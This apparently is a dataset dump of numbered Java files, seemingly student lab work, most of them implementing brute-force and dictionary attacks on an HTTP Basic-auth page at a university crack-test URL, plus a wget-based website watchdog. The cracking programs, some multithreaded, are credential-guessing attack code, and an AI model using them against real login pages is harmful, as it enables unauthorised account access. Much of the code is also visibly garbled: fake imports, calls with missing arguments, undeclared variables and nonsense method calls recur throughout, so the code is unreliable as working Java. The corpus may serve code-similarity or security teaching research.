c2.waitFor(); + + + Process p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); + p1.waitFor(); + + Process a11 = Runtime.getRuntime().exec(s2); + a11.waitFor(); + Process a12 = Runtime.getRuntime().exec(s3); + a12.waitFor(); + + + Thread.sleep(86400000); + + Process p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); + p3.waitFor(); + + Process a21 = Runtime.getRuntime().exec(s4); + a21.waitFor(); + Process a22 = Runtime.getRuntime().exec(s5); + a22.waitFor(); + + try + { + String str; + p4 = Runtime.getRuntime().exec(s); + DataInputStream dis = new DataInputStream(p4.getInputStream()); + p4.waitFor(); + System.out.println(""\t\t\tWATCHDOG PROGRAM""); + System.out.println(""\t\t\t****************""); + + + System.out.println(""If any change in the web then the value 1""); + System.out.println(""If is change then the value 0 ""); + System.out.println(""The value :"" + p4.exitValue()); + try + { + while ((str = dis.readLine()) != null) + { + System.out.println(str); + } + } + catch (IOException e) + { + System.exit(0); + } + + } + catch(FileNotFoundException e) + { + e.printStackTrace(); + } + + BufferedReader in = new BufferedReader(new FileReader(""diff.html"")); + + if (in.readLine() != null) + { + + try + { + String str1; + p5 = Runtime.getRuntime().exec(s1); + DataInputStream dis1 = new DataInputStream(p5.getInputStream()); + p5.waitFor(); + System.out.println(""u have received a mail""); + try + { + while ((str1 = dis1.readLine()) != null) + { + System.out.println(str1); + } + } + catch (IOException e1) + { + System.exit(0); + } + + } + catch(FileNotFoundException ie1) + { + ie1.printStackTrace(); + } + + } + } + } +}" +124.java," + +import java.text.*; +import java.util.*; +import java.net.*; +import java.io.*; + +public class Dictionary { + + public int runProcess(String urlString,String passwd) { + + System.out.println(""Checking password: ... "" + passwd); + + int returnval = 0; + MyAuthenticator auth = new MyAuthenticator(passwd); + Authenticator.setDefault(auth); + + try{ + + URL yahoo = new URL(urlString); + BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream())); + String inputLine; + + while ((inputLine = in.readLine()) != null) { + System.out.println(inputLine); + System.out.println(""password: "" + passwd); + returnval = 1; + } + + in.print(); + + }catch(Exception e){ returnval = 0;} + + return returnval; + } + + public static void main (String argv[]) { + + int retval = 0; + String pwd = """"; + String inFile = ""/usr/share/lib/dict/words""; + BufferedReader in = null; + String line1 =""""; + + try { + + Dictionary s = new Dictionary(); + String urlToSearch = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + in = new BufferedReader(new FileReader(inFile)); + + while ((line1=in.readLine()) != null) { + + retval = 0; + pwd = line1; + retval = s.runProcess(urlToSearch,pwd); + if (retval > 0) { + System.exit(0); + } + } + }catch(Exception e) + { e.printStackTrace();} + + } +} +" +140.java,"import java.io.*; +import java.util.*; +import java.net.*; +import java.misc.BASE64Encoder; + +public class BruteForce +{ + public BruteForce() + { + } + + public static void main(String[] args) + { + try + { + if (args.length != 2 ) + { + System.out.println(""Usage: java BruteForce ""); + System.exit(1); + } + + timeStart = System.currentTimeMillis(); + + String strPass = applyBruteForce (args[0], args[1]); + + timeEnd = System.currentTimeMillis(); + + System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); + System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); + + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + static String applyBruteForce (String URL, String UserName) + { + + + + String strPass = """"; + + char ch1, ch2, ch3; + + System.out.print(""\n\n\n Applying BruteForce Attack: ""); + + for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++) + { + if ( ch1 > 'Z' && ch1 < 'a' ) + ch1 = 'a'; + + for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++) + { + if ( ch2 > 'Z' && ch2 < 'a' ) + ch2 = 'a'; + + for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++) + { + if ( ch3 > 'Z' && ch3 < 'a' ) + ch3 = 'a'; + + strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3); + + + System.out.print(""\b\b\b"" + strPass ); + + + boolean boolResult = applyPass ( URL, UserName, strPass ); + + if (boolResult) + { + return strPass; + } + + } + } + } + + return ""Could not find match""; + } + + private static boolean applyPass (String strURL, String strUserName, String strPass ) + { + BASE64Encoder myEncoder = new BASE64Encoder (); + + try + { + String str = strUserName + "":"" + strPass; + + String strEncode = myEncoder.encode(str.getBytes()); + + URL url = new URL (strURL); + + URLConnection urlConn = url.openConnection(); + + urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); + + urlConn.connect(); + + String strReply = urlConn.getHeaderField(0); + + if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) + { + return true; + } + } + catch (Exception e) + { + e.printStackTrace (); + } + + return false; + } +} +" +008.java," + +import java.io.*; +import java.*; + +public class BruteForce +{ + public static void main(String args[]) + { + String s = null; + String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + + String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); + + String password = null; + int len = 0; + int num_tries = 0; + + len = alphabets.length(); + + + for (int i=0; i""); + System.exit(1); + } + BruteForce bruteForce1 = new BruteForce(); + Result=bruteForce1.Password(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); + System.out.println(""The Password of ""+args[0]+""is..""+Result); + + } + + + + private String Password(String urlString,String username) + { + int cnt=0; + + t0 = System.currentTimeMillis(); + for ( char ch = 'A'; ch <= 'z'; ch++ ) + { + if (ch>'Z' && ch<'a') + { + ch='a'; + } + + for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ ) + { + + if (ch1>'Z' && ch1<'a') + { + ch1='a'; + } + + + for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ ) + { + if (ch2>'Z' && ch2<'a') + { + ch2='a'; + } + password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2); + System.out.print(""crackin...:""); + System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); + try + { + + + + URL url = new URL (urlString); + String userPassword=username+"":""+password; + + + String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); + URLConnection conc= url.openConnection(); + conc.setRequestProperty (""Authorization"", "" "" + encoding); + conc.connect(); + cnt++; + if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"")) + { + t1 = System.currentTimeMillis(); + net=t1-t0; + System.out.println(""The Number of Attempts ""+cnt); + System.out.println(""Total Time Taken in secs""+net/1000); + return password; + } + + } + + catch (Exception e ) + { + e.printStackTrace(); + + } + + + + + } + + + + + + + } + + + } + return ""Password could not found""; + + } + + +}" +221.java," + +import java.io.*; +import java.text.*; +import java.util.*; +import java.net.*; + +public class BruteForce extends Thread +{ + private static final String USERNAME = """"; + private static final char [] POSSIBLE_CHAR = + {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', + 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', + 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; + private static int NUMBER_OF_THREAD = 500; + + private static Date startDate = null; + private static Date endDate = null; + + private String address; + private String password; + + public BruteForce(String address, String password) + { + this.address = address; + this.password = password; + } + + public static void main(String[] args) throws IOException + { + if (args.length < 1) + { + System.err.println(""Invalid usage!""); + System.err.println(""Usage: java BruteForce ""); + System.exit(1); + } + + try + { + brute(args[0], USERNAME); + } + catch(Exception e) + { + e.printStackTrace(); + System.exit(1); + } + } + + public static void brute(String address, String user) + { + BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD]; + int index = 0; + + startDate = new Date(); + for(int i = 0; i < POSSIBLE_CHAR.length; i++) + { + for(int j = 0; j < POSSIBLE_CHAR.length; j++) + { + for(int k = 0; k < POSSIBLE_CHAR.length; k++) + { + String password = """"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+ + POSSIBLE_CHAR[k]; + + if (threads[index] != null && threads[index].isAlive()) + { + try + { + threads[index].join(); + } + catch(InterruptedException e ) {} + } + threads[index] = new BruteForce(address, password); + threads[index].get(); + + index = (index++) % threads.length; + } + } + } + } + + public void run() + { + if (endDate != null) + return; + + try + { + + URLConnection conn = (new URL(address)).openConnection(); + conn.setDoInput(true); + + if (login(conn, USERNAME, password)) + { + endDate = new Date(); + System.out.println(""Found the password: \""""+password+""\""!""); + SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); + System.out.println(""Process started at: ""+format.format(startDate)); + System.out.println(""Process started at: ""+format.format(endDate)); + double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; + System.out.println(""Time taken: ""+timeTaken+"" minutes""); + System.exit(0); + } + else + { + System.out.println(""Password: \""""+password+""\"" Failed!""); + return; + } + } + catch(Exception e) + { + e.printStackTrace(); + } + + } + + public static boolean login(URLConnection conn, String user, String pass) + { + try + { + String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); + conn.setRequestProperty (""Authorization"", encodeAuth); + conn.connect(); + conn.getInputStream(); + } + catch(Exception e) + { + return false; + } + return true; + } +} + + +" +202.java," +import java.io.*; +import java.util.*; + +public class BruteForce +{ + private Cracker crack; + private Vector clients; + private int num; + private int bigStart; + + public BruteForce() + { + int i, j; + int start, finish; + start=finish = 0; + + crack = new Cracker(); + crack.loadLetters(); + crack.loadPairs(); + crack.loadTriples(); + num = crack.getVictor().size(); + clients = new Vector( num); + j = 0; + + bigStart = System.currentTimeMillis(); + for( i = 0; i < num; i++) + { + MyClient2 client = new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i)); + + clients.add( client); + Thread t = new Thread( client); + t.print(); + j++; + if(j == 100) + { + t = System.currentTimeMillis(); + System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i)); + finish = t; + while( (finish - t ) < 1000) + { + finish = System.currentTimeMillis(); + } + j = 0; + } + + } + } + + public void retire(int MyClient2 ) + { + int bigFinish; + bigFinish = t.getTime(); + System.out.println("" It took ""+(bigFinish - bigStart)/1000+"" ""+""seconds crack password using brute force""); + System.exit(0); + } + + public static void main (String[] args) + { + BruteForce = new BruteForce(); + } +} + +" +210.java," + +import java.io.*; +import java.util.*; +import java.*; + +public class storeNewFile +{ + private PrintWriter outputStream= null; + private String filename; + private FileWriter fw; + + public storeNewFile(String fname) + { + try + { + filename = fname; + outputStream=new PrintWriter(new FileOutputStream(filename)); + } + catch(FileNotFoundException e) + { + System.err.println(""File ""+filename+"" was not found""); + } + catch(IOException e) + { + System.err.println(""Error ""); + } + } + public void getStringW(StringWriter sw) + { + outputStream.print(sw.toString()); + } + + public void closeStream() + { + outputStream.write(); + } + + public void translogFile(String result) + { + String fileName = ""TransactionLog.txt""; + try{ + fw=new FileWriter(fileName,true); + fw.write(result); + fw.write('\n'); + fw.print(); + System.out.println(""Saved sucessfully""); + }catch(IOException e){ + System.out.println(""Error saving the file""); + } + } +}" +123.java," + +import java.net.*; +import java.io.*; + + +class MyAuthenticator extends Authenticator { + + String password; + + public MyAuthenticator(String pwdin) { + password = pwdin; + } + + protected PasswordAuthentication getPasswordAuthentication(){ + String pwd = password; + return new PasswordAuthentication("""",pwd.toCharArray()); + } +} +" +022.java," + + + +import javax.swing.*; + +public class BruteForce +{ + public static void main( String args[] ) + { + PasswordCombination pwdCombination; + + pwdCombination = new PasswordCombination(); + } +} + +" +196.java," +import java.io.*; + +public class Dictionary +{ + + public static void main(String args[])throws Exception + { + String s = null; + String pass=""""; + int at=0; + String strLine=""""; + int i=0; + + BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); + + start =System.currentTimeMillis(); + try + { + while((pass=strLine = in.readLine()) != null) + { + + if(pass.length()==3) + { + + System.out.println(pass); + at++; + + Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""); + p.waitFor(); + i = p.exitValue(); + + if(i==0) + { + finish=System.currentTimeMillis(); + + float time=finish-start; + + System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + at + "" attempts "" ); + System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + time + "" milliseconds "" ); + System.exit(0); + } + + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + + System.out.println(""Standard output of the command ""); + while ((s = stdInput.readLine()) != null) + { + System.out.println(s); + } + + + System.out.println(""Standard error of the command ""); + while ((s = stdError.readLine()) != null) + { + System.out.println(s); + } + } + } + System.exit(0); + } + catch (IOException e) + { + System.out.println(""Exception happened ""); + e.printStackTrace(); + System.exit(-1); + } + } +}" +238.java," +import java.util.*; +import java.io.*; +import java.net.*; + +class BruteForce +{ + + public static void main (String a[]) + { + + final char [] alphabet = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z'}; + + String pwd=""""; + + for(int i=0;i<52;i++) + { + for(int j=0;j<52;j++) + { + for(int k=0;k<52;k++) + { + pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k]; + String userPassword = "":""+pwd; + RealThread myTh = new RealThread(i,userPassword); + Thread th = new Thread( myTh ); + th.start(); + try + { + + + th.sleep(100); + } + catch(Exception e) + {} + } + } + } + + +} + + +} + + +class RealThread implements Runnable +{ + private int num; + private URL url; + private HttpURLConnection uc =null; + private String userPassword; + private int responseCode = 100; + public RealThread (int i, String userPassword) + { + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + } + catch(Exception ex1) + { + } + num = i; + this.userPassword = userPassword; + + } + + public int getResponseCode() + { + + return this.responseCode; + } + + public void run() + { + try + { + String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); + + uc = (HttpURLConnection)url.openConnection(); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword); + this.responseCode = uc.getResponseCode(); + + if(uc.getResponseCode()==200) + { + System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= ""); + System.exit(0); + } + + } + catch (Exception e) { + System.out.println(""Could not execute Thread ""+num+"" ""); + } + } + +} +" +067.java,"import java.*; +import java.io.*; +public class C +{ + public static void main (String [] args){ + try{ + + int m=0,n=0,w=0; + String file = ""passwd.""; + char ch1='A',ch2='A',ch3='A'; + for(int i = 0 ; i < 26; i++ ) + { + for(w=0;w<2;w++) + { + if (w==1) + i+=32; + for(int j = 0; j< 26 ; j++) + { + for(n=0;n<2;n++) + { + if(n==1) + j+=32; + for(int k = 0; k<26 ; k++) + { + for(m=0; m<2; m++) + { + if(m==1) + k+=32; + char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)}; + String str = new String(data); + System.out.println(str); + FileWriter fr1 = new FileWriter(file,true); + BufferedWriter in1 = new BufferedWriter(fr1); + in1.write(str); + in1.newLine(); + in1.print(); + if (k>=31) + k-=32; + } + } + if(j>=31) + j=j-32; + } + } + if(i>=31) + i-=32; + } + } +} +catch(IOException e) +{ + System.out.println(""try""); +} +} +} +" +190.java," + +import java.awt.*; +import java.String; +import java.util.*; +import java.io.*; +import java.net.*; + + + +public class Dictionary +{ + private URL url; + private HttpURLConnection connection ; + private int stopTime = 0; + private int startTime = 0; + private int count = 0; + + public Dictionary() + { + System.out.println(""Process is running...""); + startTime = System.currentTimeMillis(); + findWords(); + } + + public static void main(String args[]) + { + Dictionary sc = new Dictionary(); + } + + + public void findWords() + { + try + { + BufferedReader input = new BufferedReader(new FileReader (""words"")); + String text; + while ((text = input.readLine()) != null) + { + if ((text.length() == 3) || (text.length() == 2)) + { + count++; + decision(text); + } + + } + + } + catch (IOException io) + { + System.out.println(""File Error: "" + io.getMessage()); + } + } + + + public void decision(String s1) + { + if (find(s1) == 200) + { + stopTime = System.currentTimeMillis(); + runTime = stopTime - startTime; + System.out.println(""***************************************""); + System.out.println(""\nAttack successfully""); + System.out.println(""\nPassword is: "" + s1); + System.out.println(""\nThe contents of the Web site: ""); + displayContent(s1); + System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); + System.out.println(""\nNumber of attempts: "" + count); + System.out.println(); + + System.exit(0); + } + } + + + public int find(String s1) + { + int responseCode = 0; + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + connection = (HttpURLConnection)url.openConnection(); + + connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); + + responseCode = connection.getResponseCode(); + + }catch (Exception e) + { + System.out.println(e.getMessage()); + } + return responseCode; + } + + public void displayContent(String pw) + { + BufferedReader bw = null ; + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + connection = (HttpURLConnection)url.openConnection(); + + connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); + InputStream stream = (InputStream)(connection.getContent()); + if (stream != null) + { + InputStreamReader reader = new InputStreamReader (stream); + bw = new BufferedReader (reader); + String line; + + while ((line = bw.readLine()) != null) + { + System.out.println(line); + } + } + } + catch (IOException e) + { + System.out.println(e.getMessage()); + } + } +} + + + + +" +014.java," + + + +import java.util.*; +import java.net.*; +import java.io.*; +import misc.BASE64Encoder; +import javax.swing.*; + +public class ConnectionThread extends Thread +{ + private String url; + private URL currURL; + private URLConnection conn; + private HoldSharedData sharedData; + private int noOfThread; + private int batch; + + public ConnectionThread( String pageURL, int wThread, + int newBatch, HoldSharedData data ) + { + super(); + url = pageURL; + noOfThread = wThread ; + batch = newBatch; + sharedData = data; + } + + + public void run() + { + try + { + currURL = new URL( url ); + + for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && + (i < sharedData.getPwdCount()); i ++ ) + { + String pwd = sharedData.getPasswordAt( i ); + + conn = currURL.openConnection(); + + if (conn instanceof HttpURLConnection) + { + HttpURLConnection hconn = (HttpURLConnection) conn; + hconn.setFollowRedirects(false); + String cad = "" "" + based64Encoder( "":"" + pwd ); + hconn.setRequestProperty( ""Authorization"", cad ); + + hconn.connect(); + int response = hconn.getResponseCode(); + sharedData.setNumOfConnections(); + + if( response == 200 ) + { + totalTime = System.currentTimeMillis() - + sharedData.getStartTime(); + int numOfConnections = sharedData.getNumOfConnections(); + + System.out.println( ""Password is "" + pwd ); + System.out.println( ""Total Time(seconds)="" + + (double)totalTime/1000 ); + System.out.println( ""Number Of Connections: "" + + numOfConnections ); + System.exit(0); + } + else + { + hconn.disconnect(); + } + } + } + } + catch( MalformedURLException mue ) + { + String msg = ""Unable parse URL: "" + url; + System.err.println( msg ); + } + catch( IOException ioe ) + { + System.err.println( ""I/O Error : "" + ioe ); + } + } + + private String based64Encoder( String pwd ) + { + + String str = pwd; + byte[] buf = str.getBytes(); + String encodedStr = new misc.BASE64Encoder().encode(buf); + + + return encodedStr; + } +} " +064.java," + +import java.util.*; +import java.*; +import java.awt.*; +import java.net.*; +import java.io.*; +import java.text.*; + +public class Dictionary { + + + + public static String Base64Encode(String s) { + byte[] bb = s.getBytes(); + byte[] b = bb; + char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', + 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', + '0','1','2','3','4','5','6','7','8','9','+','/' }; + if (bb.length % 3!=0) { + int x1 = bb.length; + + b = new byte[(x1/3+1)*3]; + int x2 = b.length; + + for(int i=0;i> 2)]; + c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; + c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; + c[j+3] = table[(b[i+2] & 63)]; + i+=3; + j+=4; + } + + j = c.length-1; + while (c[j]=='A') { + c[j]='='; + j--; + } + + return String.valueOf(c); + } + + + public synchronized void getAccumulatedLocalAttempt() { + attempt = 0; + for (int i=0;i=0); + } + + + + public synchronized void waitUntilAllTerminated() { + while (curconn>0) { + try { + wait(); + } catch (InterruptedException e) {} + } + } + + + + + public synchronized int waitUntilOK2Connect() { + boolean interruptd= false; + int idx = -1; + + + + + while (curconn>=MAXCONN) { + try { + wait(); + } catch (InterruptedException e) { interruptd = true; } + } + + + + if (!interruptd) { + + curconn++; + for (idx=0;idx=MINCHAR) && (s.length()<=MAXCHAR)) { + w.println(s); + ALLCOMBI++; + } + } + b.print(); + w.print(); + } catch (FileNotFoundException e) { + System.out.println(""Unable open the DICTIONARY file '""+DICTIONARY+""'""); + System.exit(0); + } catch (IOException e) { + System.out.println(""Error in the DICTIONARY file '""+DICTIONARY+""'""); + System.exit(0); + } + } + + + + + + public class ThCrack extends Thread { + + + public ThCrack(int threadID, int startidx, int endidx) { + super("" Thread #""+String.valueOf(threadID)+"": ""); + this.ID = threadID; + this.startidx = startidx; + this.endidx = endidx; + + + if (endidx>=startidx+MAXCACHE-1) { + this.localDict = new String[MAXCACHE]; + this.localDict = fetchWords(startidx,MAXCACHE); + lastFetchIdx = startidx+MAXCACHE-1; + } else { + this.localDict = new String[(int)(endidx-startidx+1)]; + this.localDict = fetchWords(startidx,(int)(endidx-startidx+1)); + lastFetchIdx = endidx; + } + + setDaemon(true); + } + + + public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { + int i; + String msg; + + + URL tryURL = new URL(THEURL); + + + connections[connID]=(HttpURLConnection) tryURL.openConnection(); + + + connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass)); + + + i = connections[connID].getResponseCode(); + msg = connections[connID].getResponseMessage(); + connections[connID].disconnect(); + + + if (i==HttpURLConnection.HTTP_OK) { + + System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"").""); + setSuccess(this.ID,thePass); + return (true); + } else { + + System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"").""); + return (false); + } + } + + + public void rest(int msec) { + try { sleep(msec); } catch (InterruptedException e) {} + } + + + public String getCacheIdx(int idx) { + if (idx<=lastFetchIdx) { + return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; + } else { + if (lastFetchIdx+localDict.length-1>endidx) { + this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1)); + lastFetchIdx = endidx; + } else { + this.localDict = fetchWords(lastFetchIdx+1,localDict.length); + lastFetchIdx = lastFetchIdx+localDict.length; + } + return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; + } + } + + + + public String constructPassword(int idx) { + return getCacheIdx(idx); + } + + + public String getStartStr() { + return fetchWord(this.startidx); + } + + + public String getEndStr() { + return fetchWord(this.endidx); + } + + + public void run() { + i = startidx; + boolean keeprunning = true; + while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { + + + int idx = waitUntilOK2Connect(); + + + if (idx==-1) { + + break; + } + + try { + + String s = constructPassword(i); + + if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) + launchRequest(getName(), idx, s); + else + System.out.println(getName()+""skipping '""+s+""'""); + + decreaseConn(idx); + + localattempt++; + + + rest(MAXCONN); + i++; + } catch (InterruptedException e) { + + + keeprunning = false; + break; + } catch (IOException e) { + + + + + + decreaseConn(idx); + } + } + + + if (success==this.ID) { + waitUntilAllTerminated(); + } + } + + + public int getLocalAttempt() { + return localattempt; + } + + private int startidx,endidx; + private int ID; + private int localattempt = 0; + private String localDict[]; + private int lastFetchIdx; + } + + + public void printProgramHeader(String mode,int nThread) { + System.out.println(); + System.out.println("" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************""); + System.out.println(); + System.out.println("" URL : ""+THEURL); + System.out.println("" Crack Mode : ""+mode); + System.out.println("" . Char : ""+MINCHAR); + System.out.println("" . Char : ""+MAXCHAR); + System.out.println("" # of Thread : ""+nThread); + System.out.println("" Connections : ""+MAXCONN); + System.out.println("" All Combi. : ""+ALLCOMBI); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } + + + public void startNaiveCracking() { + MAXTHREAD = 1; + MAXCONN = 1; + startDistCracking(); + } + + + public void startDistCracking() { + int startidx,endidx; + int thcount; + + + if (isenhanced) { + printProgramHeader(""ENHANCED DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); + } else { + printProgramHeader(""NAIVE DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); + } + + + + + + + + + if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); } + mult = (ALLCOMBI) / MAXTHREAD; + + + i = System.currentTimeMillis(); + + + for (thcount=0;thcount=0) { + System.out.println(); + System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); + System.out.println(); + System.out.println("" The password is : ""+passw); + System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); + System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); + System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); + System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); + System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } else { + System.out.println(); + System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); + System.out.println(); + System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); + System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); + System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); + System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } + } + } + + + public static void printSyntax() { + System.out.println(); + System.out.println(""Syntax : Dictionary [mode] [URL] [] [] [username]""); + System.out.println(); + System.out.println("" mode : (opt) 0 - NAIVE Dictionary mode""); + System.out.println("" (trying from the first the last combinations)""); + System.out.println("" 1 - ENHANCED Dictionary mode""); + System.out.println("" (dividing cracking jobs multiple threads) (default)""); + System.out.println("" URL : (opt) the URL crack ""); + System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); + System.out.println("" , : (optional) range of characters applied in the cracking""); + System.out.println("" where 1 <= <= 255 (default = 1)""); + System.out.println("" <= <= 255 (default = 3)""); + System.out.println("" username : (optional) the username that is used crack""); + System.out.println(); + System.out.println("" NOTE: The optional parameters '','', and 'username'""); + System.out.println("" have specified altogether none at all.""); + System.out.println("" For example, if [] is specified, then [], and [username]""); + System.out.println("" have specified as well. If none of them specified,""); + System.out.println("" default values used.""); + System.out.println(); + System.out.println("" Example of invocation :""); + System.out.println("" java Dictionary ""); + System.out.println("" java Dictionary 0""); + System.out.println("" java Dictionary 1 http://localhost/tryme.php""); + System.out.println("" java Dictionary 0 http://localhost/tryme.php 1 3 ""); + System.out.println("" java Dictionary 1 http://localhost/tryme.php 1 10 ""); + System.out.println(); + System.out.println(); + } + + + public static void paramCheck(String[] args) { + int argc = args.length; + + + try { + switch (Integer.valueOf(args[0]).intValue()) { + case 0: { + isenhanced = false; + } break; + case 1: { + isenhanced = true; + } break; + default: + System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); + printSyntax(); + System.exit(1); + } + } catch (NumberFormatException e) { + System.out.println(""Syntax error : invalid number '""+args[0]+""'""); + printSyntax(); + System.exit(1); + } + + if (argc>1) { + try { + + URL u = new URL(args[1]); + + + try { + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + + switch (conn.getResponseCode()) { + case HttpURLConnection.HTTP_ACCEPTED: + case HttpURLConnection.HTTP_OK: + case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: + case HttpURLConnection.HTTP_FORBIDDEN: + case HttpURLConnection.HTTP_UNAUTHORIZED: + break; + default: + + + System.out.println(""Unable open connection the URL '""+args[1]+""'""); + System.exit(1); + } + } catch (IOException e) { + System.out.println(e); + System.exit(1); + } + + THEURL = args[1]; + } catch (MalformedURLException e) { + + System.out.println(""Invalid URL '""+args[1]+""'""); + printSyntax(); + System.exit(1); + } + } + + + if (argc==5) { + try { + MINCHAR = Integer.valueOf(args[2]).intValue(); + } catch (NumberFormatException e) { + System.out.println(""Invalid range number value '""+args[2]+""'""); + printSyntax(); + System.exit(1); + } + + try { + MAXCHAR = Integer.valueOf(args[3]).intValue(); + } catch (NumberFormatException e) { + System.out.println(""Invalid range number value '""+args[3]+""'""); + printSyntax(); + System.exit(1); + } + + if ((MINCHAR<1) || (MINCHAR>255)) { + System.out.println(""Invalid range number value '""+args[2]+""' (must between 0 and 255)""); + printSyntax(); + System.exit(1); + } else + if (MINCHAR>MAXCHAR) { + System.out.println(""Invalid range number value '""+args[2]+""' (must lower than the value)""); + printSyntax(); + System.exit(1); + } + + if (MAXCHAR>255) { + System.out.println(""Invalid range number value '""+args[3]+""' (must between value and 255)""); + printSyntax(); + System.exit(1); + } + + USERNAME = args[4]; + } else + if ((argc>2) && (argc<5)) { + System.out.println(""Please specify the [], [], and [username] altogether none at all""); + printSyntax(); + System.exit(1); + } else + if ((argc>2) && (argc>5)) { + 